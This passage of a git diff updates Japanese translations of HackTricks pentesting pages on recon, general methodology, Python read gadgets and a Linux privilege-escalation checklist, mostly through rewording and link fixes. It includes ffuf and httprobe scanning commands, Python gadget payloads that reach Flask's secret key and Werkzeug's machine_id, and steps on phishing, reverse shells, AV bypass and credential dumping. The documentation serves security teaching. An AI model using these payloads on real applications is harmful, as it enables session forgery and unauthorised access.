は、非常にシンプルで効果的なDNS応答ガイドアルゴリズムと組み合わされたサブドメインブルートフォースファズァです。提供された入力データセット(カスタマイズされた単語リストや過去のDNS/TLSレコードなど)を利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集された情報に基づいてさらにループで拡張します。 +- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ は、非常にシンプルで効果的なDNS応答ガイドアルゴリズムと組み合わされたサブドメインブルートフォースファッザーです。提供された入力データセット(カスタマイズされた単語リストや過去のDNS/TLSレコードなど)を利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集した情報に基づいてさらにループで拡張します。 ``` echo www | subzuf facebook.com ``` @@ -436,37 +436,37 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com VHostScan -t example.com ``` > [!NOTE] -> この技術を使うことで、内部/隠れたエンドポイントにアクセスできる場合があります。 +> この技術を使用すると、内部/隠れたエンドポイントにアクセスできる場合があります。 ### **CORSブルートフォース** -時には、_**Origin**_ ヘッダーに有効なドメイン/サブドメインが設定されているときにのみ、_**Access-Control-Allow-Origin**_ ヘッダーを返すページを見つけることがあります。このようなシナリオでは、この動作を悪用して新しい**サブドメイン**を**発見**することができます。 +時々、_**Origin**_ ヘッダーに有効なドメイン/サブドメインが設定されている場合にのみ、_**Access-Control-Allow-Origin**_ ヘッダーを返すページを見つけることがあります。このようなシナリオでは、この動作を悪用して新しい **サブドメイン** を **発見** することができます。 ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` ### **バケットブルートフォース** -**サブドメイン**を探しているときは、**バケット**に**ポイント**しているかどうかに注意し、その場合は[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)**してください。**\ -また、この時点でスコープ内のすべてのドメインを知っているので、[**可能なバケット名をブルートフォースし、権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)してください。 +**サブドメイン**を探しているときは、**バケット**に**ポイント**しているかどうかに注意し、その場合は[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/index.html)**してください。**\ +また、この時点でスコープ内のすべてのドメインを知っているので、[**可能なバケット名をブルートフォースし、権限を確認**](../../network-services-pentesting/pentesting-web/buckets/index.html)してください。 ### **モニタリング** -**新しいサブドメイン**が作成されたかどうかを**Certificate Transparency**ログを監視することで**モニタリング**できます。[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)がそれを行います。 +**新しいサブドメイン**が作成されたかどうかを監視するには、**Certificate Transparency**ログを監視することができます。[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)がそれを行います。 ### **脆弱性の検索** -可能な[**サブドメインのテイクオーバー**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)を確認してください。\ -もし**サブドメイン**が**S3バケット**に**ポイント**している場合は、[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)してください。 +可能な[**サブドメインテイクオーバー**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)を確認してください。\ +もし**サブドメイン**が**S3バケット**に**ポイント**している場合は、[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/index.html)してください。 -もし**資産発見**で見つけたものとは異なるIPを持つ**サブドメイン**を見つけた場合は、**基本的な脆弱性スキャン**(NessusやOpenVASを使用)と、いくつかの[**ポートスキャン**](../pentesting-network/index.html#discovering-hosts-from-the-outside)を**nmap/masscan/shodan**で実行する必要があります。どのサービスが稼働しているかによって、**この本の中で「攻撃」するためのいくつかのトリックを見つけることができます**。\ +もし**異なるIPを持つサブドメイン**を見つけた場合は、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と、**nmap/masscan/shodan**を使用した[**ポートスキャン**](../pentesting-network/index.html#discovering-hosts-from-the-outside)を実行する必要があります。実行中のサービスによっては、**この本の中で「攻撃」するためのいくつかのトリックを見つけることができます**。\ &#xNAN;_Noteとして、サブドメインがクライアントによって制御されていないIP内にホストされている場合があるため、スコープ外であることに注意してください。_ ## IPs -初期のステップで**いくつかのIPレンジ、ドメイン、サブドメイン**を**見つけたかもしれません**。\ -これらのレンジから**すべてのIPを収集する**時です。また、**ドメイン/サブドメイン(DNSクエリ)**のためにもです。 +初期のステップで**いくつかのIP範囲、ドメイン、サブドメイン**を**見つけたかもしれません**。\ +これらの範囲から**すべてのIPを収集する**時です。また、**ドメイン/サブドメイン(DNSクエリ)**のために。 -以下の**無料API**のサービスを使用すると、**ドメインやサブドメインで使用された以前のIP**も見つけることができます。これらのIPはまだクライアントが所有している可能性があり、[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つける手助けになるかもしれません。 +以下の**無料API**のサービスを使用すると、**ドメインとサブドメインによって使用された以前のIP**も見つけることができます。これらのIPはまだクライアントによって所有されている可能性があり、[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つける手助けになるかもしれません。 - [**https://securitytrails.com/**](https://securitytrails.com/) @@ -474,19 +474,19 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http: ### **脆弱性の検索** -**CDNに属さないすべてのIPをポートスキャン**してください(そこでは興味深いものは見つからない可能性が高いです)。発見された稼働中のサービスでは、**脆弱性を見つけることができるかもしれません**。 +**CDNに属さないすべてのIPをポートスキャン**してください(そこでは興味深いものは見つからない可能性が高いです)。発見された実行中のサービスでは、**脆弱性を見つけることができるかもしれません**。 -**ホストをスキャンする方法に関する**[**ガイド**](../pentesting-network/)**を見つけてください。** +**ホストをスキャンする方法に関する**[**ガイド**](../pentesting-network/index.html)を見つけてください。 ## ウェブサーバーハンティング -> すべての企業とその資産を見つけ、スコープ内のIPレンジ、ドメイン、サブドメインを知っています。ウェブサーバーを探す時です。 +> すべての企業とその資産を見つけ、スコープ内のIP範囲、ドメイン、サブドメインを知っています。ウェブサーバーを探す時です。 -前のステップで、**発見されたIPやドメインのリコン**をすでに実施している可能性があるため、**すべての可能なウェブサーバーをすでに見つけているかもしれません**。しかし、見つけていない場合は、スコープ内のウェブサーバーを探すための**迅速なトリック**を見ていきます。 +前のステップで、**発見されたIPとドメインのリコン**をすでに実行している可能性があるため、**すべての可能なウェブサーバーをすでに見つけているかもしれません**。しかし、見つけていない場合は、スコープ内のウェブサーバーを検索するための**迅速なトリック**を見ていきます。 -これは**ウェブアプリの発見**に向けられているため、**脆弱性**と**ポートスキャン**も実施する必要があります(**スコープによって許可されている場合**)。 +これは**ウェブアプリの発見**に**特化**しているため、**脆弱性**と**ポートスキャン**も実行する必要があります(**スコープによって許可されている場合**)。 -**ウェブ**サーバーに関連する**オープンポート**を発見するための**迅速な方法**は、[**masscan**で見つけることができます](../pentesting-network/index.html#http-port-discovery)。\ +**ウェブ**サーバーに関連する**オープンポート**を発見するための**迅速な方法**は、[**masscan**を使用することができます](../pentesting-network/index.html#http-port-discovery)。\ ウェブサーバーを探すためのもう一つの便利なツールは、[**httprobe**](https://github.com/tomnomnom/httprobe)**、**[**fprobe**](https://github.com/theblackturtle/fprobe)および[**httpx**](https://github.com/projectdiscovery/httpx)です。ドメインのリストを渡すだけで、ポート80(http)と443(https)に接続しようとします。さらに、他のポートを試すように指示することもできます: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 @@ -512,9 +512,9 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a 次に、それらの単語を使用して**順列**を生成する必要があります(詳細については[**第二ラウンドDNSブルートフォース**](#second-dns-bruteforce-round)を参照してください)。 -生成されたワードリストを使用して、[**cloud_enum**](https://github.com/initstring/cloud_enum)**、** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **または** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**を使用できます。** +得られたワードリストを使用して、[**cloud_enum**](https://github.com/initstring/cloud_enum)**、** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **または** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**を使用できます。** -クラウド資産を探す際には、**AWSのバケットだけでなく、他のものも探す**べきです。 +クラウド資産を探す際には、**AWSのバケットだけでなく、他のものも探す**必要があることを忘れないでください。 ### **脆弱性の検索** @@ -531,7 +531,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### **脆弱性の検索** -メールは、**ウェブログインや認証サービス**(SSHなど)を**ブルートフォース**する際に役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、フィッシングキャンペーンに役立つ**メールの背後にいる人物**に関するさらに多くの**情報**を提供します。 +メールは、**ウェブログインや認証サービス**(SSHなど)を**ブルートフォース**する際に役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、フィッシングキャンペーンに役立つ**メールの背後にいる人物**に関するさらなる**情報**を提供します。 ## 資格情報の漏洩 @@ -546,7 +546,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ## 秘密の漏洩 -資格情報の漏洩は、**機密情報が漏洩して販売された**企業のハッキングに関連しています。ただし、企業は、これらのデータベースに情報が含まれていない**他の漏洩**の影響を受ける可能性があります: +資格情報の漏洩は、**機密情報が漏洩して販売された**企業のハッキングに関連しています。ただし、企業は、これらのデータベースに情報がない**他の漏洩**の影響を受ける可能性があります: ### Githubの漏洩 @@ -578,7 +578,7 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実 **有効な漏洩した**資格情報やAPIトークンを見つけた場合、これは非常に簡単な勝利です。 -## パブリックコードの脆弱性 +## 公開コードの脆弱性 企業が**オープンソースコード**を持っていることがわかった場合、それを**分析**して**脆弱性**を探すことができます。 @@ -592,15 +592,15 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実 - [**Snyk**](https://app.snyk.io/) -## [**ウェブペンテスティング手法**](../../network-services-pentesting/pentesting-web/) +## [**ウェブペンテスト手法**](../../network-services-pentesting/pentesting-web/index.html) -**バグハンター**によって見つかった**脆弱性の大部分**は**ウェブアプリケーション**内に存在するため、この時点で**ウェブアプリケーションテスト手法**について話したいと思います。詳細は[**こちらで確認できます**](../../network-services-pentesting/pentesting-web/)。 +**バグハンター**によって見つかった**脆弱性の大部分**は**ウェブアプリケーション**内に存在するため、この時点で**ウェブアプリケーションテスト手法**について話したいと思います。詳細は[**こちらで確認できます**](../../network-services-pentesting/pentesting-web/index.html)。 -また、[**オープンソースツールのウェブ自動スキャナー**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners)のセクションにも特別な言及をしたいと思います。非常に機密性の高い脆弱性を見つけることを期待すべきではありませんが、**初期のウェブ情報を得るためのワークフローに実装するのに役立ちます。** +また、[**オープンソースツールのウェブ自動スキャナー**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners)のセクションにも特別な言及をしたいと思います。非常に機密性の高い脆弱性を見つけることを期待すべきではありませんが、**初期のウェブ情報を得るためのワークフローに役立ちます。** ## 再確認 -> おめでとうございます!この時点で、すでに**すべての基本的な列挙**を実行しています。はい、基本的なことです。さらに多くの列挙が可能です(後でさらにトリックを見ていきます)。 +> おめでとうございます!この時点で、**すべての基本的な列挙**をすでに実行しています。はい、これは基本的なものであり、さらに多くの列挙が可能です(後でさらにトリックを見ていきます)。 したがって、すでに次のことを行っています: @@ -611,7 +611,7 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実 5. スコープ内のすべての**IP**(CDNからのものとそうでないもの)を見つけた 6. すべての**ウェブサーバー**を見つけ、**スクリーンショット**を撮った(深く見る価値のある奇妙なものはありますか?) 7. 企業に属するすべての**潜在的なパブリッククラウド資産**を見つけた -8. **メール**、**資格情報の漏洩**、および**秘密の漏洩**があり、**非常に簡単に大きな勝利を得る**ことができる +8. **メール**、**資格情報の漏洩**、および**秘密の漏洩**があり、**非常に簡単に大きな勝利を得ることができる** 9. 見つけたすべてのウェブを**ペンテスト** ## **フルリコン自動ツール** diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md index 3a055f9ab..f93bc0cd6 100644 --- a/src/generic-methodologies-and-resources/pentesting-methodology.md +++ b/src/generic-methodologies-and-resources/pentesting-methodology.md @@ -11,23 +11,23 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/) ### 0- 物理攻撃 -攻撃したいマシンに**物理的アクセス**がありますか?いくつかの[**物理攻撃に関するトリック**](../hardware-physical-access/physical-attacks.md)や[**GUIアプリケーションからの脱出に関するトリック**](../hardware-physical-access/escaping-from-gui-applications.md)を読むべきです。 +攻撃したいマシンに**物理アクセス**がありますか?いくつかの[**物理攻撃に関するトリック**](../hardware-physical-access/physical-attacks.md)や[**GUIアプリケーションからの脱出に関するトリック**](../hardware-physical-access/escaping-from-gui-applications.md)を読むべきです。 -### 1 - [ネットワーク内のホストを発見する](pentesting-network/index.html#discovering-hosts)/ [会社の資産を発見する](external-recon-methodology/) +### 1 - [ネットワーク内のホストを発見する](pentesting-network/index.html#discovering-hosts)/ [会社の資産を発見する](external-recon-methodology/index.html) -**実施している**テストが**内部テストか外部テストかによって**、**会社のネットワーク内のホストを見つける**(内部テスト)か、**インターネット上の会社の資産を見つける**(外部テスト)ことに興味があるかもしれません。 +**テスト**が**内部テスト**か**外部テスト**かによって、**会社のネットワーク内のホストを見つける**ことに興味があるか、**インターネット上の会社の資産を見つける**ことに興味があるかもしれません。 > [!NOTE] > 外部テストを実施している場合、会社の内部ネットワークへのアクセスを取得したら、このガイドを再スタートする必要があります。 -### **2-** [**ネットワークで楽しむ**](pentesting-network/) **(内部)** +### **2-** [**ネットワークで楽しむ**](pentesting-network/index.html) **(内部)** **このセクションは内部テストを実施している場合にのみ適用されます。**\ -ホストを攻撃する前に、**ネットワークからいくつかの資格情報を盗む**か、**データをスニッフィング**して**受動的/能動的(MitM)**にネットワーク内で何が見つかるかを学ぶことを好むかもしれません。[**ペンテストネットワーク**](pentesting-network/index.html#sniffing)を読むことができます。 +ホストを攻撃する前に、**ネットワークからいくつかの認証情報を盗む**か、**データをスニッフィング**して**パッシブ/アクティブ(MitM)**にネットワーク内で何が見つかるかを学ぶことを好むかもしれません。[**ペンテストネットワーク**](pentesting-network/index.html#sniffing)を読むことができます。 ### 3- [ポートスキャン - サービス発見](pentesting-network/index.html#scanning-hosts) -**ホストの脆弱性を探す**ときに最初に行うべきことは、どの**サービスがどのポートで実行されているかを知る**ことです。[**ホストのポートをスキャンするための基本ツール**](pentesting-network/index.html#scanning-hosts)を見てみましょう。 +**ホストの脆弱性を探す**ときに最初に行うべきことは、どの**サービスがどのポートで実行されているか**を知ることです。[**ホストのポートをスキャンするための基本ツール**](pentesting-network/index.html#scanning-hosts)を見てみましょう。 ### **4-** [サービスバージョンの脆弱性を検索する](../generic-hacking/search-exploits.md) @@ -37,38 +37,38 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/) 実行中のサービスに特別なエクスプロイトがない場合は、**各サービスの一般的な誤設定を探す**べきです。 -**この本の中には、最も一般的なサービスをペンテストするためのガイドがあります**(あまり一般的でないサービスも含む)。左のインデックスで**_**PENTESTING**_**セクションを探してください**(サービスはデフォルトポート順に並んでいます)。 +**この本の中には、最も一般的なサービスをペンテストするためのガイドがあります**(あまり一般的でないサービスも含む)。左のインデックスで**_**ペンテスト**_**セクションを検索してください**(サービスはデフォルトポート順に並んでいます)。 -**特に** [**ペンテストWeb**](../network-services-pentesting/pentesting-web/) **部分に特別な言及をしたいと思います(最も広範な部分です)。**\ +**特に** [**ウェブペンテスト**](../network-services-pentesting/pentesting-web/index.html) **部分に特別な言及をしたいと思います(最も広範な部分です)。**\ また、[**ソフトウェアの既知の脆弱性を見つける方法**](../generic-hacking/search-exploits.md)に関する小さなガイドもここにあります。 -**インデックスにサービスがない場合は、Googleで他のチュートリアルを検索してください**。**追加してほしい場合は教えてください。** Googleで**何も見つからない場合は、自分で**ブラインドペンテストを実施してください**。**サービスに接続し、ファジングしてレスポンスを読むことから始めることができます**(あれば)。 +**インデックスにサービスがない場合は、Googleで他のチュートリアルを検索してください**。**追加してほしい場合は教えてください。** Googleで**何も見つからない場合は、**自分自身でブラインドペンテストを実施してください**。**サービスに接続し、ファジングし、応答を読むことから始めることができます**(あれば)。 #### 5.1 自動ツール -**自動脆弱性評価を実行できるツールもいくつかあります。** **[**Legion**](https://github.com/carlospolop/legion)**を試してみることをお勧めします。これは私が作成したツールで、この本にあるペンテストサービスに関するノートに基づいています。** +**自動脆弱性評価を実行できるツールもいくつかあります。** **[**Legion**](https://github.com/carlospolop/legion)**を試してみることをお勧めします。これは、私が作成したツールで、この本にあるペンテストサービスに関するノートに基づいています。** -#### **5.2 サービスのブルートフォース** +#### **5.2 ブルートフォースサービス** いくつかのシナリオでは、**ブルートフォース**が**サービスを妥協する**のに役立つかもしれません。[**ここで異なるサービスのブルートフォースのチートシートを見つけてください**](../generic-hacking/brute-force.md)**。** -### 6- [フィッシング](phishing-methodology/) +### 6- [フィッシング](phishing-methodology/index.html) -この時点で興味深い脆弱性が見つからない場合は、**ネットワークに入るためにフィッシングを試みる必要があるかもしれません**。私のフィッシング手法を[こちら](phishing-methodology/)で読むことができます。 +この時点で興味深い脆弱性が見つからない場合は、**ネットワークに入るためにフィッシングを試みる必要があるかもしれません**。私のフィッシング手法を[こちら](phishing-methodology/index.html)で読むことができます: -### **7-** [**シェルを取得する**](../generic-hacking/reverse-shells/) +### **7-** [**シェルを取得する**](../generic-hacking/reverse-shells/index.html) -何らかの方法で、**被害者でコードを実行する方法を見つけるべきです**。その後、[**リバースシェルを取得するためにシステム内で使用できる可能性のあるツールのリストが非常に役立ちます**](../generic-hacking/reverse-shells/)。 +何らかの方法で、**被害者でコードを実行する方法を見つけるべきです**。その後、[**リバースシェルを取得するためにシステム内で使用できる可能性のあるツールのリストが非常に役立ちます**](../generic-hacking/reverse-shells/index.html)。 特にWindowsでは、**アンチウイルスを回避するための助けが必要かもしれません**:[**このページを確認してください**](../windows-hardening/av-bypass.md)**。**\\ ### 8- 内部 -シェルに問題がある場合、ペンテスターにとって最も便利なコマンドの小さな**コンパイル**をここで見つけることができます: +シェルに問題がある場合は、ペンテスターにとって最も便利なコマンドの小さな**コンパイル**をここで見つけることができます: - [**Linux**](../linux-hardening/useful-linux-commands.md) - [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) -- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/) +- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/index.html) ### **9 -** [**データ抽出**](../generic-hacking/exfiltration.md) @@ -78,53 +78,53 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/) #### **10.1- ローカル特権昇格** -ボックス内で**root/Administratorでない場合**、**特権を昇格させる方法を見つけるべきです**。\ -ここに、**[**Linux**](../linux-hardening/privilege-escalation/)**と**[**Windows**](../windows-hardening/windows-local-privilege-escalation/)**でローカルに特権を昇格させるためのガイドがあります。**\ +ボックス内で**root/Administrator**でない場合は、**特権を昇格させる方法を見つけるべきです**。\ +ここに、**[Linux](../linux-hardening/privilege-escalation/index.html)**と**[Windows](../windows-hardening/windows-local-privilege-escalation/index.html)**でローカルに特権を昇格させるためのガイドがあります。\ また、**Windowsがどのように機能するかに関するこのページも確認してください**: -- [**認証、資格情報、トークン特権、UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) -- [**NTLMの動作**](../windows-hardening/ntlm/) +- [**認証、資格情報、トークン特権、UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html) +- [**NTLMの動作**](../windows-hardening/ntlm/index.html) - Windowsで[**資格情報を盗む方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) -- [_**Active Directory**_に関するいくつかのトリック](../windows-hardening/active-directory-methodology/) +- [_**Active Directory**_に関するいくつかのトリック](../windows-hardening/active-directory-methodology/index.html) -**WindowsおよびLinuxのローカル特権昇格パスを列挙するための最良のツールも確認してください**:[**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) +**WindowsとLinuxのローカル特権昇格パスを列挙するための最良のツールも確認してください**:[**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) #### **10.2- ドメイン特権昇格** -ここに、[**Active Directoryで特権を列挙、昇格、持続するための最も一般的なアクションを説明する手法**](../windows-hardening/active-directory-methodology/)があります。このプロセスは、ペンテスト/レッドチームの任務において**非常にデリケート**である可能性があります。 +ここに、[**Active Directoryで特権を列挙、昇格、持続させるための最も一般的なアクションを説明する手法**](../windows-hardening/active-directory-methodology/index.html)があります。これはセクションのサブセクションに過ぎませんが、このプロセスはペンテスト/レッドチームの任務において**非常にデリケート**である可能性があります。 ### 11 - POST #### **11**.1 - ルーティング -ホスト内でさらに多くの**パスワード**を見つけることができるか、**ユーザーの特権**で**他のマシンにアクセス**できるか確認してください。\ -ここに、[**Windowsでパスワードをダンプするためのさまざまな方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)があります。 +ホスト内でさらに多くの**パスワード**を見つけることができるか、**ユーザーの特権**で他のマシンに**アクセス**できるか確認してください。\ +ここに、Windowsで[**パスワードをダンプするさまざまな方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)があります。 #### 11.2 - 持続性 **システムを再度攻撃する必要がないように、2つまたは3つの異なる持続メカニズムを使用してください。**\ -**ここに、Active Directoryに関するいくつかの** [**持続性トリックがあります**](../windows-hardening/active-directory-methodology/index.html#persistence)**。** +**ここに、Active Directoryでの** [**持続性のトリック**](../windows-hardening/active-directory-methodology/index.html#persistence)**があります。** TODO: WindowsとLinuxの持続性ポストを完成させる ### 12 - ピボッティング -**収集した資格情報**を使用して他のマシンにアクセスできるか、または**新しいホストを発見してスキャンする**必要があるかもしれません(被害者が接続されている新しいネットワーク内でペンテスト手法を再スタート)。\ -この場合、トンネリングが必要になるかもしれません。[**トンネリングに関する投稿を見つけることができます**](../generic-hacking/tunneling-and-port-forwarding.md)。\ -また、[Active Directoryペンテスト手法](../windows-hardening/active-directory-methodology/)に関する投稿も確認するべきです。そこでは、横移動、特権昇格、資格情報のダンプに関するクールなトリックが見つかります。\ -[**NTLM**](../windows-hardening/ntlm/)に関するページも確認してください。Windows環境でピボッティングするのに非常に役立つかもしれません。 +**収集した資格情報**で他のマシンにアクセスできるか、または**新しいホストを発見してスキャンする**必要があるかもしれません(ペンテスト手法を再度開始)。\ +この場合、トンネリングが必要になるかもしれません。ここに[**トンネリングに関する投稿があります**](../generic-hacking/tunneling-and-port-forwarding.md)。\ +また、[Active Directoryペンテスト手法](../windows-hardening/active-directory-methodology/index.html)に関する投稿も必ず確認してください。そこでは、横移動、特権昇格、資格情報のダンプに関するクールなトリックが見つかります。\ +[**NTLM**](../windows-hardening/ntlm/index.html)に関するページも確認してください。Windows環境でピボッティングするのに非常に役立つかもしれません。 ### もっと -#### [Androidアプリケーション](../mobile-pentesting/android-app-pentesting/) +#### [Androidアプリケーション](../mobile-pentesting/android-app-pentesting/index.html) #### **エクスプロイト** -- [**基本的なLinuxエクスプロイト**](broken-reference/) +- [**基本的なLinuxエクスプロイト**](broken-reference/index.html) - [**基本的なWindowsエクスプロイト**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [**基本的なエクスプロイトツール**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) +- [**基本的なエクスプロイトツール**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html) -#### [**基本的なPython**](python/) +#### [**基本的なPython**](python/index.html) #### **暗号トリック** diff --git a/src/generic-methodologies-and-resources/python/README.md b/src/generic-methodologies-and-resources/python/README.md index 0f8df2fee..a7190d625 100644 --- a/src/generic-methodologies-and-resources/python/README.md +++ b/src/generic-methodologies-and-resources/python/README.md @@ -6,8 +6,8 @@ - [**Pyscript hacking tricks**](pyscript.md) - [**Python deserializations**](../../pentesting-web/deserialization/index.html#python) -- [**Pythonサンドボックスをバイパスするためのトリック**](bypass-python-sandboxes/) -- [**基本的なPythonウェブリクエストの構文**](web-requests.md) -- [**基本的なPythonの構文とライブラリ**](basic-python.md) +- [**Tricks to bypass python sandboxes**](bypass-python-sandboxes/index.html) +- [**Basic python web requests syntax**](web-requests.md) +- [**Basic python syntax and libraries**](basic-python.md) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md b/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md index a22844b2b..fed011b78 100644 --- a/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md +++ b/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md @@ -13,19 +13,19 @@ Flaskアプリケーションのメインページには、**`app`**グローバ app = Flask(__name__, template_folder='templates') app.secret_key = '(:secret:)' ``` -この場合、**グローバルオブジェクトにアクセスする**ために、任意のガジェットを使用してこのオブジェクトにアクセスすることが可能です。[**Pythonサンドボックスのバイパスページ**](bypass-python-sandboxes/)から。 +この場合、[**Pythonサンドボックスのバイパスページ**](bypass-python-sandboxes/index.html)から**グローバルオブジェクトにアクセス**するために、任意のガジェットを使用してこのオブジェクトにアクセスすることが可能です。 -**脆弱性が異なるPythonファイルにある場合**、メインのファイルに到達するためにファイルを横断するガジェットが必要で、**グローバルオブジェクト `app.secret_key`** にアクセスしてFlaskのシークレットキーを変更し、このキーを知って[**権限を昇格させる**](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign)ことができます。 +**脆弱性が異なるPythonファイルにある場合**、グローバルオブジェクト`app.secret_key`にアクセスしてFlaskのシークレットキーを変更し、このキーを知って[**権限を昇格させる**](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign)ために、ファイルを横断するためのガジェットが必要です。 このようなペイロードは[この解説から](https://ctftime.org/writeup/36082): ```python __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key ``` -このペイロードを使用して、**`app.secret_key`**(あなたのアプリでは名前が異なる場合があります)を変更し、新しいより権限のあるフラスククッキーに署名できるようにします。 +このペイロードを使用して、**`app.secret_key`**(あなたのアプリでは名前が異なる場合があります)を変更し、新しくより多くの権限を持つフラスククッキーに署名できるようにします。 ### Werkzeug - machine_id と node uuid -[**この書き込みからのペイロードを使用することで**](https://vozec.fr/writeups/tweedle-dum-dee/)、**machine_id** と **uuid** ノードにアクセスでき、これらは **Werkzeug pin** を生成するために必要な **主な秘密** です。[**これを使用して**](../../network-services-pentesting/pentesting-web/werkzeug.md)、**デバッグモードが有効な場合**、`/console` で Python コンソールにアクセスできます。 +[**この書き込みからのペイロードを使用することで**](https://vozec.fr/writeups/tweedle-dum-dee/)、**machine_id** と **uuid** ノードにアクセスでき、これらは **主な秘密** であり、[**Werkzeugピンを生成するために必要です**](../../network-services-pentesting/pentesting-web/werkzeug.md)。これを使用して、**デバッグモードが有効な場合**に `/console` で Python コンソールにアクセスできます。 ```python {ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id} {ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node} diff --git a/src/linux-hardening/linux-privilege-escalation-checklist.md b/src/linux-hardening/linux-privilege-escalation-checklist.md index 3a7da022f..9e11fe337 100644 --- a/src/linux-hardening/linux-privilege-escalation-checklist.md +++ b/src/linux-hardening/linux-privilege-escalation-checklist.md @@ -17,7 +17,7 @@ ### [ドライブ](privilege-escalation/index.html#drives) -- [ ] **マウントされた**ドライブを**リスト** +- [ ] **マウントされた**ドライブをリスト - [ ] **アンマウントされたドライブはあるか?** - [ ] **fstabにクレデンシャルはあるか?** @@ -33,14 +33,14 @@ - [ ] **実行中のプロセスのエクスプロイトを検索**(特に実行中のバージョン)。 - [ ] **実行中のプロセスのバイナリを変更**できるか? - [ ] **プロセスを監視**し、興味深いプロセスが頻繁に実行されているか確認。 -- [ ] **興味深いプロセスメモリを**(パスワードが保存されている可能性がある場所)**読み取る**ことができるか? +- [ ] **興味深いプロセスメモリを**(パスワードが保存されている可能性がある場所)**読み取ることができるか?** ### [スケジュールされた/cronジョブ?](privilege-escalation/index.html#scheduled-jobs) - [ ] [**PATH**](privilege-escalation/index.html#cron-path)がcronによって変更されており、**書き込み**できるか? - [ ] cronジョブに[**ワイルドカード**](privilege-escalation/index.html#cron-using-a-script-with-a-wildcard-wildcard-injection)はあるか? -- [ ] **変更可能なスクリプト**が**実行されている**か、**変更可能なフォルダ**内にあるか? -- [ ] **スクリプトが非常に頻繁に実行されている**ことを検出したか?(1、2、または5分ごと) +- [ ] **実行中の**[**変更可能なスクリプト**](privilege-escalation/index.html#cron-script-overwriting-and-symlink)があるか、または**変更可能なフォルダ**内にあるか? +- [ ] 何らかの**スクリプトが非常に頻繁に実行されている**ことを検出したか?(1、2、または5分ごと) ### [サービス](privilege-escalation/index.html#services) @@ -64,7 +64,7 @@ ### [ネットワーク](privilege-escalation/index.html#network) -- [ ] ネットワークを列挙して自分の位置を知る +- [ ] ネットワークを列挙して自分の位置を把握 - [ ] **シェルを取得する前にアクセスできなかったオープンポート**はあるか? - [ ] `tcpdump`を使用して**トラフィックをスニッフィング**できるか? @@ -72,26 +72,26 @@ - [ ] 一般的なユーザー/グループの**列挙** - [ ] **非常に大きなUID**を持っているか?**マシンは脆弱か?** -- [ ] **所属するグループ**のおかげで[**特権を昇格**](privilege-escalation/interesting-groups-linux-pe/)できるか? -- [ ] **クリップボード**データは? +- [ ] 